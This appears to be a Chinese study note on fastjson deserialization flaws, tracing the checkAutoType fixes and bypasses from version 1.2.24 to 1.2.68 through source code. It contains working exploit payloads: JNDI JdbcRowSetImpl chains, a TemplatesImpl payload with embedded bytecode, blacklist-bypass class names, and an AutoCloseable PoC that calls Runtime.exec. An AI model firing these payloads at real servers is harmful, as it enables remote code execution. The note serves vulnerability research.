感谢 lala 大佬的高质量文章
-
三种反序列化接口:
//序列化 String text = JSON.toJSONString(obj); //反序列化 VO vo = JSON.parse(); //解析为JSONObject类型或者JSONArray类型 VO vo = JSON.parseObject("{...}"); //JSON文本解析成JSONObject类型 VO vo = JSON.parseObject("{...}", VO.class); //JSON文本解析成VO.class类
区别:
parse("") 会识别并调用目标类的特定 setter 方法及某些特定条件的 getter 方法parseObject("") 会调用反序列化目标类的特定 setter 和 getter 方法(此处有的博客说是所有setter,个人测试返回String的setter是不行的,此处打个问号)parseObject("",class) 会识别并调用目标类的特定 setter 方法及某些特定条件的 getter 方法
-
关于 @type
这个字段可以指定反序列化任意类,并且会自动调用类中属性的特定的 set,get 方法,其中:
- public修饰符的属性会进行反序列化赋值,private修饰符的属性不会直接进行反序列化赋值,而是会调用setxxx(xxx为属性名)的函数进行赋值。
- getxxx(xxx为属性名)的函数会根据函数返回值的不同,而选择被调用或不被调用
决定是否被调用的部分在
com.alibaba.fastjson.util.JavaBeanInfo#build
函数处
在 build 中遍历两遍 class 的所有方法,分别去找 set 和 get 开头特定的方法(代码写的真丑)
set开头的方法要求:- 方法名长度大于4且以set开头,且第四个字母要是大写
- 非静态方法
- 返回类型为void或当前类
- 参数个数为1个
如果没有这个属性并且这个set方法的输入是一个布尔型(是boolean类型,不是Boolean类型,这两个是不一样的),会重新给属性名前面加上is,再取头两个字符,第一个字符为大写(即isNa),去寻找这个属性名。
get开头的方法要求:- 方法名长度大于等于4
- 非静态方法
- 以get开头且第4个字母为大写
- 无传入参数
- 返回值类型继承自Collection Map AtomicBoolean AtomicInteger AtomicLong
那么接下来要做的就是利用要求之内的 setter 和 getter 方法执行命令了。
-
<=1.2.24 JNDI注入利用链 JdbcRowSetImpl
三种反序列化接口都能用。
payload:jdk < 1.8u191{ "@type":"com.sun.rowset.JdbcRowSetImpl", //调用com.sun.rowset.JdbcRowSetImpl函数中的 "dataSourceName":"ldap://127.0.0.1:1389/Exploit", // setdataSourceName函数 传入参数"ldap://127.0.0.1:1389/Exploit" "autoCommit":true // 再调用setAutoCommit函数,传入true }
接口函数:(满足条件)
public void setDataSourceName(String var1) throws SQLException public void setAutoCommit(boolean var1)throws SQLException
-
<=1.2.24 JDK1.7 的 TemplatesImpl 利用链
基于 jdk1.7u21 的链,但无 1.7 具体版本限制
限制条件:
- 服务端使用parseObject()时,必须使用如下格式才能触发漏洞:
JSON.parseObject(input, Object.class, Feature.SupportNonPublicField);
- 服务端使用parse()时,需要
JSON.parse(text1,Feature.SupportNonPublicField);
原因是 payload 的 TemplatesImpl 的一些属性必须是 private,服务端必须添加特性才回去从json中恢复private属性的数据。
(实际上最后的 TemplatesImpl 是全 jdk1.7 通用的,fastjson 也就是用了最后这部分)
payload:{"@type":"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl","_bytecodes":["yv66vgAAADMAJgoAAwAPBwAhBwASAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAARsYWxhAQAMSW5uZXJDbGFzc2VzAQAcTOeJiOacrDI0L2pkazd1MjFfbWluZSRsYWxhOwEAClNvdXJjZUZpbGUBABFqZGs3dTIxX21pbmUuamF2YQwABAAFBwATAQAa54mI5pysMjQvamRrN3UyMV9taW5lJGxhbGEBABBqYXZhL2xhbmcvT2JqZWN0AQAV54mI5pysMjQvamRrN3UyMV9taW5lAQAIPGNsaW5pdD4BABFqYXZhL2xhbmcvUnVudGltZQcAFQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsMABcAGAoAFgAZAQAEY2FsYwgAGwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsMAB0AHgoAFgAfAQARTGFMYTg4MTIwNDQ1NzYzMDABABNMTGFMYTg4MTIwNDQ1NzYzMDA7AQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAcAIwoAJAAPACEAAgAkAAAAAAACAAEABAAFAAEABgAAAC8AAQABAAAABSq3ACWxAAAAAgAHAAAABgABAAAADwAIAAAADAABAAAABQAJACIAAAAIABQABQABAAYAAAAWAAIAAAAAAAq4ABoSHLYAIFexAAAAAAACAA0AAAACAA4ACwAAAAoAAQACABAACgAJ"],'_name':'a.b','_tfactory':{ },'_outputProperties':{ }}
- 服务端使用parseObject()时,必须使用如下格式才能触发漏洞:
-
1.2.25 版本修复
1.2.24版本产生漏洞的原因:
- @type 会加载任意类,通过 setter,getter 等方法进行赋值,恢复出整个类。
- 由 setter,getter 等方法构造出一条链(结合 JNDI 或 TemplatesImpl)
在新版本中加入了黑、白名单
public Class> checkAutoType(String typeName, Class> expectClass) { if (typeName == null) { return null; } final String className = typeName.replace('$', '.'); //一些固定类型的判断,此处不会对clazz进行赋值,此处省略 if (!autoTypeSupport) { //进行黑名单匹配,匹配中,直接报错退出 for (int i = 0; i < denyList.length; ++i) { String deny = denyList[i]; if (className.startsWith(deny)) { throw new JSONException("autoType is not support. " + typeName); } } //对白名单,进行匹配;如果匹配中,调用loadClass加载,赋值clazz直接返回 for (int i = 0; i < acceptList.length; ++i) { String accept = acceptList[i]; if (className.startsWith(accept)) { clazz = TypeUtils.loadClass(typeName, defaultClassLoader); if (expectClass != null && expectClass.isAssignableFrom(clazz)) { throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName()); } return clazz; } } } //此处省略了当clazz不为null时的处理情况,与expectClass有关 //但是我们这里输入固定是null,不执行此处代码 //可以发现如果上面没有触发黑名单,返回,也没有触发白名单匹配中的话,就会在此处被拦截报错返回。 if (!autoTypeSupport) { throw new JSONException("autoType is not support. " + typeName); } //执行不到此处 return clazz; }
com.sun 无了,默认情况无法绕过。 -
1.2.25-1.2.41绕过
要求:服务端 AutoTypeSupport 设置为 true(关闭白名单)
虽然关掉了白名单,但是注意到现在的执行逻辑是先加载,也就是会进入TypeUtils.loadClass(typeName, defaultClassLoader) 中,然后才检查黑名单,跟进去看看public static Class> loadClass(String className, ClassLoader classLoader) { if (className == null || className.length() == 0) { return null; } Class> clazz = mappings.get(className); if (clazz != null) { return clazz; } //特殊处理1! if (className.charAt(0) == '[') { Class> componentType = loadClass(className.substring(1), classLoader); return Array.newInstance(componentType, 0).getClass(); } //特殊处理2! if (className.startsWith("L") && className.endsWith(";")) { String newClassName = className.substring(1, className.length() - 1); return loadClass(newClassName, classLoader); }
特殊处理1没什么用,只有一个 [ 的会被当作数据加载,json直接报错。
但特殊处理2,只要加上 L 开头 ; 结尾就能直接加载了,相当于绕过黑名单{"@type":"Lcom.sun.rowset.RowSetImpl;","dataSourceName":"rmi://localhost:1099/Exploit","autoCommit":true}
-
1.2.42版本修复和绕过
- 明文黑名单换为黑名单 hash(github已经碰撞出来了,相当于没什么用了)
- 传入的类名删去开头的 L 和结尾的 ;(只删了一次,重复一下就行)
{"@type":"LLcom.sun.rowset.RowSetImpl;;","dataSourceName":"rmi://localhost:1099/Exploit","autoCommit":true}
-
1.2.43 - 1.2.46 修复
把 LL 开头的都给封了,JdbcRowSetImpl 和 TemplatesImpl 算是都无了。
扩充 jar 包的同时,疯狂扩充黑名单。 -
1.2.47 通杀
看一下 com.alibaba.fastjson.parser.ParserConfig#checkAutoType(java.lang.String, java.lang.Class>, int)
public Class> checkAutoType(String typeName, Class> expectClass, int features) { //1.typeName为null的情况,略 //2.typeName太长或太短的情况,略 //3.替换typeName中$为.,略 //4.使用hash的方式去判断[开头,或L开头;结尾,直接报错 //这里经过几版的修改,有点不一样了,但是绕不过,也略 //5.autoTypeSupport为true(白名单关闭)的情况下,返回符合白名单的,报错符合黑名单的 //(这里可以发现,白名单关闭的配置情况下,必须先过黑名单,但是留下了一线生机) if (autoTypeSupport || expectClass != null) { long hash = h3; for (int i = 3; i < className.length(); ++i) { hash ^= className.charAt(i); hash *= PRIME; if (Arrays.binarySearch(acceptHashCodes, hash) >= 0) { clazz = TypeUtils.loadClass(typeName, defaultClassLoader, false); if (clazz != null) { return clazz; } } //要求满足黑名单并且从一个Mapping中找不到这个类才会报错,这个Mapping就是我们的关键 if (Arrays.binarySearch(denyHashCodes, hash) >= 0 && TypeUtils.getClassFromMapping(typeName) == null) { throw new JSONException("autoType is not support. " + typeName); } } } //6.从一个Mapping中获取这个类名的类,我们之后看 if (clazz == null) { clazz = TypeUtils.getClassFromMapping(typeName); } //7.从反序列化器中获取这个类名的类,我们也之后看 if (clazz == null) { clazz = deserializers.findClass(typeName); } //8.如果在6,7中找到了clazz,这里直接return出去,不继续了 if (clazz != null) { if (expectClass != null && clazz != java.util.HashMap.class && !expectClass.isAssignableFrom(clazz)) { throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName()); } //无论是默认白名单开启还是手动白名单关闭的情况,我们都要从这个return clazz中出去 return clazz; } // 9. 针对默认白名单开启情况的处理,这里 if (!autoTypeSupport) { long hash = h3; for (int i = 3; i < className.length(); ++i) { char c = className.charAt(i); hash ^= c; hash *= PRIME; //碰到黑名单就死 if (Arrays.binarySearch(denyHashCodes, hash) >= 0) { throw new JSONException("autoType is not support. " + typeName); } //满足白名单可以活,但是白名单默认是空的 if (Arrays.binarySearch(acceptHashCodes, hash) >= 0) { if (clazz == null) { clazz = TypeUtils.loadClass(typeName, defaultClassLoader, false); } //针对expectCLass的特殊处理,没有expectCLass,不管 if (expectClass != null && expectClass.isAssignableFrom(clazz)) { throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName()); } return clazz; } } } //通过以上全部检查,就可以从这里读取clazz if (clazz == null) { clazz = TypeUtils.loadClass(typeName, defaultClassLoader, false); } //这里对一些特殊的class进行处理,不重要 //特性判断等 return clazz; }
白名单关闭时直接匹配黑名单(G),只能在匹配到黑名单之前搞些事情。
白名单开启时只要满足 TypeUtils.getClassFromMapping(typeName) != null 就能直接 return,从而跳过黑名单的限制。
而这里的 if 执行结果取决于前面的这两个方法:- TypeUtils.getClassFromMapping(typeName)
- deserializers.findClass(typeName)
其中在 TypeUtils.getClassFromMapping(typeName) 中
//这个map是一个hashmap private static ConcurrentMap
> mappings = new ConcurrentHashMap >(16, 0.75f, 1); ... public static Class> getClassFromMapping(String className){ //很简单的一个mapping的get return mappings.get(className); } 找一下哪里有能用的 mappings.put ,发现了这里 TypeUtils.loadClass
public static Class> loadClass(String className, ClassLoader classLoader, boolean cache) { //判断className是否为空,是的话直接返回null if(className == null || className.length() == 0){ return null; } //判断className是否已经存在于mappings中 Class> clazz = mappings.get(className); if(clazz != null){ //是的话,直接返回 return clazz; } //判断className是否是[开头,1.2.44中针对限制的东西就是这个 if(className.charAt(0) == '['){ Class> componentType = loadClass(className.substring(1), classLoader); return Array.newInstance(componentType, 0).getClass(); } //判断className是否L开头;结尾,1.2.42,43中针对限制的就是这里,但都是在外面限制的,里面的东西没变 if(className.startsWith("L") && className.endsWith(";")){ String newClassName = className.substring(1, className.length() - 1); return loadClass(newClassName, classLoader); } //1. 我们需要关注的mappings在这里有 try{ //输入的classLoader不为空时 if(classLoader != null){ //调用加载器去加载我们给的className clazz = classLoader.loadClass(className); //!!如果cache为true!! if (cache) { //往我们关注的mappings中写入这个className mappings.put(className, clazz); } return clazz;//返回加载出来的类 } } catch(Throwable e){ e.printStackTrace(); // skip } //2. 在这里也有,但是好像这里有关线程,比较严格。 try{ ClassLoader contextClassLoader = Thread.currentThread().getContextClassLoader(); if(contextClassLoader != null && contextClassLoader != classLoader){ clazz = contextClassLoader.loadClass(className); //同样需要输入的cache为true,才有可能修改 if (cache) { mappings.put(className, clazz); } return clazz; } } catch(Throwable e){ // skip } //3. 这里也有,限制很松 try{ //加载类 clazz = Class.forName(className); //直接放入mappings中 mappings.put(className, clazz); return clazz; } catch(Throwable e){ // skip } return clazz; }
如果可以控制参数就可以向 mapping 中添加任意类,让前一个的 mapping.get 返回不为 null,从而绕过黑名单。
找一下调用 TypeUtils.loadClass 并且参数满足条件的地方(),这里MiscCodec.java#deserialzepublic
T deserialze(DefaultJSONParser parser, Type clazz, Object fieldName) { JSONLexer lexer = parser.lexer; //4. clazz类型等于InetSocketAddress.class的处理。 //我们需要的clazz必须为Class.class,不进入 if (clazz == InetSocketAddress.class) { ... } Object objVal; //3. 下面这段赋值objVal这个值 //此处这个大的if对于parser.resolveStatus这个值进行了判断,我们在稍后进行分析这个是啥意思 if (parser.resolveStatus == DefaultJSONParser.TypeNameRedirect) { //当parser.resolveStatus的值为 TypeNameRedirect parser.resolveStatus = DefaultJSONParser.NONE; parser.accept(JSONToken.COMMA); //lexer为json串的下一处解析点的相关数据 //如果下一处的类型为string if (lexer.token() == JSONToken.LITERAL_STRING) { //判断解析的下一处的值是否为val,如果不是val,报错退出 if (!"val".equals(lexer.stringVal())) { throw new JSONException("syntax error"); } //移动lexer到下一个解析点 //举例:"val":(移动到此处->)"xxx" lexer.nextToken(); } else { throw new JSONException("syntax error"); } parser.accept(JSONToken.COLON); //此处获取下一个解析点的值"xxx"赋值到objVal objVal = parser.parse(); parser.accept(JSONToken.RBRACE); } else { //当parser.resolveStatus的值不为TypeNameRedirect //直接解析下一个解析点到objVal objVal = parser.parse(); } String strVal; //2. 可以看到strVal是由objVal赋值,继续往上看 if (objVal == null) { strVal = null; } else if (objVal instanceof String) { strVal = (String) objVal; } else { //不必进入的分支 } if (strVal == null || strVal.length() == 0) { return null; } //省略诸多对于clazz类型判定的不同分支。 //1. 可以得知,我们的clazz必须为Class.class类型 if (clazz == Class.class) { //我们由这里进来的loadCLass //strVal是我们想要可控的一个关键的值,我们需要它是一个恶意类名。往上看看能不能得到一个恶意类名。 return (T) TypeUtils.loadClass(strVal, parser.getConfig().getDefaultClassLoader()); } 接下来要关注的是 parser.resolveStatus(要对它的值进行判断)
- 当
parser.resolveStatus == TypeNameRedirect
我们需要json串中有一个"val":"恶意类名",来进入if语句的true中,污染objVal,再进一步污染strVal。我们又需要clazz为class类来满足if判断条件进入loadClass。 - 当
parser.resolveStatus != TypeNameRedirect
进入if判断的false中,可以直接污染objVal。再加上clazz=class类
poc:
{ "@type": "java.lang.Class", "val": "com.sun.rowset.JdbcRowSetImpl" }
payload:{ "a": { "@type": "java.lang.Class", "val": "com.sun.rowset.JdbcRowSetImpl" }, "b": { "@type": "com.sun.rowset.JdbcRowSetImpl", "dataSourceName": "ldap://localhost:1389/Exploit", "autoCommit": true } }
-
1.2.48 修复
上一个会调用第二个 mappings.put,还有一个要满足的条件是 cache 为 true(默认)
直接改成 false了。 -
1.2.62-67 又能打了
其实就是有新的 gadget 绕黑名单,但前提还是要开 AutoType,同时还有很多 jar 包和 java版本限制。
-
1.2.68(expectClass 绕过 AutoType)
绕 fastjson 的核心就是绕 checkAutoType() 函数,先看一下通过 checkAutoType() 校验的方式
1.白名单里的类 2.开启了autotype 3.使用了JSONType注解 4.指定了期望类(expectClass) 5.缓存在mapping中的类 6.使用ParserConfig.AutoTypeCheckHandler接口通过校验的类
这次用的第4种,当传入 checkAutoType() 的 expectClass 不为 null 的时候(默认为 null),并且要实例化的类是 expectClass 的子类或其实现时,会将传入的类视作一个合法类,但因为 黑名单检测在 loadClass 之前,所以不能绕过黑名单,最后 loadClass 就会返回该类的 class。
但是 checkAutoType 默认的 expectClass 为 null,那么我们的思路就变成了先调用一个 expectClass 参数不为 null 的 checkAutoType(),再利用这次调用中的 expectClass 的子类或接口们做一些事情。
可以直接把 expectClass 参数传递给 checkAutoType() 的类有两个1. 在JavaBeanDeserializer类的deserialze()函数中会调用checkAutoType()并传入可控的expectClass 2. 在ThrowableDeserializer类的deserialze()函数中也会调用并传入
那么思路就是:@type(1) 的 class => 通过 CheckAutoType 并调用 deserialze() => 触发调用第二个 checkAutoType() => @type(2) 的 class(恶意类)
其中实现对应的分别为:AutoCloseable 类 和 Throwabl e类。
VulAutoCloseable.javapackage 版本68; public class VulAutoCloseable implements AutoCloseable { public VulAutoCloseable(String cmd) { try { Runtime.getRuntime().exec(cmd); } catch (Exception e) { e.printStackTrace(); } } @Override public void close() throws Exception { } }
poc.java:
package 版本68; import com.alibaba.fastjson.JSON; public class poc { public static void main(String[] args) { String poc = "{\"@type\":\"java.lang.AutoCloseable\",\"@type\":\"版本68.VulAutoCloseable\",\"cmd\":\"calc\"}"; JSON.parse(poc); } }
在 CheckAutoType 中打断点调试,如果 expectClass 不为 null 且不在指定 class 中就会把 expertClassFlag 设置为 true,
然后是先进行内部白名单和内部黑名单查询,
如果非是内部白名单,并且开启 autoTypeSupport 或者 expectClass 不为空时会进行黑白名单查找,
查找后调用 TypeUtils.getClassFromMapping 查找 class ,第一次传入的是 AutoCloseable,因此能正常加载,
在获取反序列化器的时候,如果是一个接口,且里面所有的判断都不满足,然后就会用 JavaBeanDeserializer 执行 deserialze,注意这里传入的参数是 AutoCloseable
跟进 deserialze ,发现这里的 checkAutoType 传入了 expectClass,也就是之前的 AutoCloseable
进入黑白名单环节
autoTypeSupport 为 false,接着往下走
jsonType 为 false,不会返回,继续往下执行
然后因为 expectClass 不为空,把恶意类加载到内存中
之后deserializer.deserialze(),由于将恶意类加入mapping,在反序列化解析时会绕过autoType,成功利用 -
参考文献